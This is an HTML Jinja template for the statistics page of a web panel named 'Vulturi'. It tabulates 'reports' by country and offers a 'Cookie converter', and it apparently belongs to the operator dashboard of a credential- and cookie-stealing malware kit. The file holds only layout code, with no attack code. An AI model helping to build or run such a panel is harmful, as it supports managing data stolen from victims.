<!-- Coded by L1ghtM3n@protonmail.com -->
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Vulturi | Statistics</title>
    <link rel="icon" type="image/png" href="{{ url_for('static', filename='images/favicon.png') }}"/>

    <link href="{{ url_for('static', filename='css/main.css') }}" rel="stylesheet">
    <link href="{{ url_for('static', filename='css/jvectormap.css') }}" rel="stylesheet">
    <link href="{{ url_for('static', filename='css/materialize.css') }}" rel="stylesheet">
    <link href="{{ url_for('static', filename='css/material-icons.css') }}" rel="stylesheet">

    <script src="{{ url_for('static', filename='js/jquery.js') }}"></script>
    <script src="{{ url_for('static', filename='js/statistics.js') }}"></script>

    <script src="{{ url_for('static', filename='js/jvectormap.js') }}"></script>
    <script src="{{ url_for('static', filename='js/world_mill.js') }}"></script>
    
    <script src="{{ url_for('static', filename='js/materialize.js') }}"></script>
    
  </head>
  <body style="background-color: #111111;">

    <!-- Account Dropdown Structure -->
    <ul id="account_dropdown" class="dropdown-content">
      <li><a href="#"><span class="material-icons mi">admin_panel_settings</span> Logged as: {{ username }}</a></li>
      <li><a href="settings"><span class="material-icons mi">settings</span> Account settings</a></li>
      <li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
    </ul>
    
    <!-- DESKTOP NAVBAR -->
    <nav class="black" style="padding: 0px 10px; position: fixed; z-index: 2;">
        <div class="nav-wrapper">
            <a href="#" class="brand-logo">
              <span class="material-icons md-36 mi">visibility</span> Vulturi</a>

            <a href="#" class="sidenav-trigger" data-target="mobile-nav">
                <span class="material-icons mi">menu</span>
            </a>
           
            <ul class="right hide-on-med-and-down ">
              <li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
              <li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
              <li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
              <li><a href="#" class="dropdown-trigger" data-target="account_dropdown"><span class="material-icons mi">account_circle</span> Account</a></li>
            </ul> 
        </div>
    </nav>

    <!-- MOBILE NAVBAR -->
    <ul class="sidenav" id="mobile-nav">
      <li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
      <li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
      <li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
      <li><a href="settings"><span class="material-icons mi">settings</span> Settings</a></li>
      <li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
    </ul> 

    <!-- WORLD MAP CARD -->
    <div class="row" style="position: relative; top: 80px; width: 100%; height: 60%;">
        <div class="col s12 m6">
          <div class="card hoverable">
            <div class="card-image">
                <div id="world-map"></div>
              <span class="card-title">World map</span>
            </div>
            <div class="card-content">
                The map shows statistics for all countries for all time
            </div>
          </div>
        </div>

        <!-- WORLD STATISTICS CARD AND TABLE -->
        <div class="col s12 m6">
          <div class="card hoverable">
            <div class="card-content">
                <table id="stats_table" class="highlight">
                    <thead>
                      <tr>
                          <th>Flag</th>
                          <th>ISO</th>
                          <th>Country name</th>
                          <th>Reports count</th>
                          <th>Percentage</th>
                      </tr>
                    </thead>
                    
                    
                    <tbody>
                      {% for item in stats %}
                        <tr>
                          <td><img src="{{ url_for('static', filename='images/flags/' + stats[item][0].iso_code + '.svg') }}" id="country_flag" style="margin-left: 0px;"></td>
                          <td>{{ stats[item][0].iso_code }}</td>
                          <td>{{ stats[item][0].country }}</td>
                          <td>{{ stats[item]|length }}</td>
                          <td>{{ (stats[item]|length / logs_count * 100)|round|int }}%</td>
                        </tr>
                      {% endfor %}
                    </tbody>
                   
                </table>
            </div>
          </div>
        </div>
    </div>


  </body>
  
</html>